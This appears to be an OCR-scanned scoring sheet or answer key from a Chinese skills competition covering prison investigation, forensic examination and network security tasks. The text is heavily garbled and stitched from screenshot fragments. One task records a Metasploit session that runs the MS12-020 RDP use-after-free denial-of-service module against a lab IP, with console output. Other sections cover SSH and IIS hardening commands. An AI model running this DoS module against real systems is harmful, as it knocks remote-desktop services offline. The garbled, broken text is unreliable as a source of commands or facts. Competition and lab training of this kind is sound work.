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£55 7. AR E R ER RS EIEMIRA-MS12_020 (100 43

1. 20 2y
search msl12_020
Matching Modules

Name Disclosure Date
Description

® auxiliary/dos/windows/rdp/ms12_ 028 maxchannelids 2012-83-16
al No MS12-820 Microsoft Remote Desktop Use-After-Free DoS
auxiliary/scanner/rdp/msl12_028_ check
al Yes MS12-020 Microsoft Remote Desktop Checker

Interact with a module by name or index. For example

> use auxiliary/dos/windows/rdp/ms12 020 _maxchannelids
auxiliary( ) |

S RS D
N DV I =W
+hOh O S
o DV O

msf6 auxiliary( ) > show options
Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):
Name Current Setting Required Description
RHOSTS

1
er, or hosts
RPORT 3

file with syntax "'file:<path>’
389 yes The target port (TCP)

92.168.1.109 yes The target (s), range CIDR identifi




msf6 auxiliary( ) > exploit
Running module against 192.168.1.109

192.168.1.109:3389 - 192.168.1.109:3389 - Sending MS12-02@0 Microsoft Remo
te Desktop Use-After-Free DoS
192.168.1.109:3389 - 192.168.1.109:3389 - 210 bytes sent
192.168.1.109:3389 - 192.168.1.109:3389 - Checking RDP status...
192.168.1.109:3389 - Auxiliary failed: Rex::HostUnreachable The host (192
.168.1.109:3389) was unreachable.
168.1.109:3389 - Call stack:
168.1.109:3389 - /usr/share/metasploit-framework/vendor/bundle/ruby
/rex-socket-0.1.25/1ib/rex/socket/comm/local.rb: :in "rescue in
ype’
168.1.109:338 /usr/share/metasploit-framework/vendor/bundle/ruby
ms/rex-socket-0.1.25/1ib/rex/socket/comm/local.rb:263:in “create_by_
192.168.1.109:3389 - /usr/share/metasploit-framework/vendor/bundle/ruby
.7.0/gems/rex-socket-0. lib/rex/socket/comm/local.rb:33:in "create
1 168.1.109:3389 /usr/share/metasploit-framework/vendor/bundle/ruby
/rex-socket-0.1.25/1ib/rex/socket.rb:49:in "create_param’
.1.109:3389 /Jusr/share/metasploit-framework/vendor/bundle/ruby
fgems/rex-socke .1.25/1ib/rex/socket/tcp.rb:37:in “create_param’
168.1.109:338¢ Jusr/share/metasploit-framewor vendor/bundle/ruby
/rex-socket-0.1.25/1ib/rex/socket/tcp.rb:28:in “create’
.1.109:3389 - /usr/share/metasploit-framework/lib/msf/core/explo
it/remote/tcp.rb:105:in “connect’
192.168.1.109:3389 - /usr/share/metasploit-framework/modules/auxiliary/
dos/windows/rdp/ms12_020_maxchannelids.rb:51:in “is_rdp_up"’
192.168.1.109:3389 - /usr/share/metasploit-framework/modules/auxilia
dos/windows/rdp/ms12_020_maxchannelids.rb:151:in “run’
Auxiliary module execution completed

{4 8. PRSI SSH\I1S (Windows, Linux) (100 4})

rosoft in T 6.1.76011
Corporation

P-9256-65873(




&2 (10 47)
I 1k BB % SsSNa:
[ rootélocalhost 41 |= rpm -ga |grep vsftpd
sftpd 2.2.2-11.e16 4.1.1686 ]
| rootélocalhost %0 | rpm -qa |grep httpd
httpd-manual-2.2.15-29.el6.centos.noarch

5 Py . i686

ttpd-2.2.15-29.el6.centos.i686
httpd-devel-Z.Z. T5-29.el6. cenfos. 1686
[ rootelocalhost st |= |}

B root@localhost:~ /sl [CentOS_6.5_Final)

3 (20 4))

PermitRootLogin|ile |

root service sshd start
root service sshd stop
root service sshd restart]]




5 (20 4)
= 1- sshd:
IF {f )5 57 sshd:

[rootelocalhost £ |# vim /etc/ssh/sshd _config
[rootelocalhost 5 [ ¥ service sshd restart

% 1L sshd:
(E7E/F 57 sshd:
[rootelocalhost & T 17

netstat -anlp | grep sshd

L € |
[z ]

L 7= ]
(85 ]

tcp ) 0 o.o.o‘o 0.0.0.0:* LISTEN 27
230/sshd

tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 24
69/sshd

tcp 0 0 192.168.18.138:22 192.168.18.100:7594 ESTABLISHED 24
69/sshd

tcp 0 0 192.168.18.138:22 192.168.18.100:7598 ESTABLISHED 24
75/sshd

tcp 0 0 :::2222 LISTEN 27
230/sshd

tcp 0 0 ::1:6010 LISTEN 24
A9/ <chd

6 (1043)

XHEE #BEQ FEW  Ho

| 7m
pr——————— = 5 -

iﬂr; EE H&E: C:\Vindows\system32\cad. exe

+ oft Windows L[V 6.1.76011 _

+ B <c)> 2009 Microsoft Corporation 1:

¥

C:\UsersMdninistrator?>

7 (104%)

BRC: Wsers Adninistrator>fsutil 8dot3name set 1

s S EHES

¥ |WER FEEW
NEAEEI

SREEER (WIN-USS11ESKNPP

ZEEh 0D

Internet {SEEH CIS)EMRE

AE

BJ Active Directory W @; -
€ Web BRFSER (IS)

W) Internet (RARARSS O | EEHRMI

| ohe Q- |7 |8
] FET o
.E WIN-USBS11ESNFPQ (WIN-UBS11
8 2 EREEHh
e/ podih

+) &P Default Web Site
+ P www. test. com

1

“ W?bDA\' EI1EF
]

g%%%iﬁﬂ?éiﬁﬂﬁi Fihiar

AL

i —

+f ()

P

& » WIN-USS11ESKPPQ » PS4 » Default Web Site » 2

FEhneiESm
RBP JBF WebDAV
WebDAV i5E
& ZeEh
B R
2
FHE
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	模块一：刑事侦查技能模块
	任务1.狱情分析与研判（100分）
	注：该表一式三份，监狱狱侦科或狱政科存一份、服刑人员心理健康指导中心存一份、监区存一份（入高危罪犯专
	任务2.现场勘查（100分）
	任务3.刑事案件侦查综合分析（100分）-
	模块二：物证检验技术
	任务4.手印鉴定技术应用（100分，平台比对评分）
	任务5.印章印文鉴定技术应用（100分，平台比对评分）
	任务6.笔迹鉴定技术应用（200分，平台比对评分）
	模块三：监所网络安全和信息系统运维模块
	任务7.司法信息管理系统渗透测试-MS12_020（100分）
	1.20分
	2.20分
	3.20分
	4. 20分
	5. 20分

	任务8.服务加固SSH\IIS（Windows, Linux）（100分）
	任务9.监狱周界防范物联网综合平台组建方案（100分）
	振动隔离网（震动光纤）、脉冲电网、泄漏电缆、主动红外探测、微波探测、视频（摄像头）巡查、红外夜视系统
	防火墙、入侵检测设备、入侵防范设备、堡垒机、网络行为审计系统、杀毒软件。（类似通用表述安全设施设备名
	与监狱数据中心对接、与监狱指挥中心对接、与视频监控系统对接、与报警系统对接。（类似至少2种，必须包含


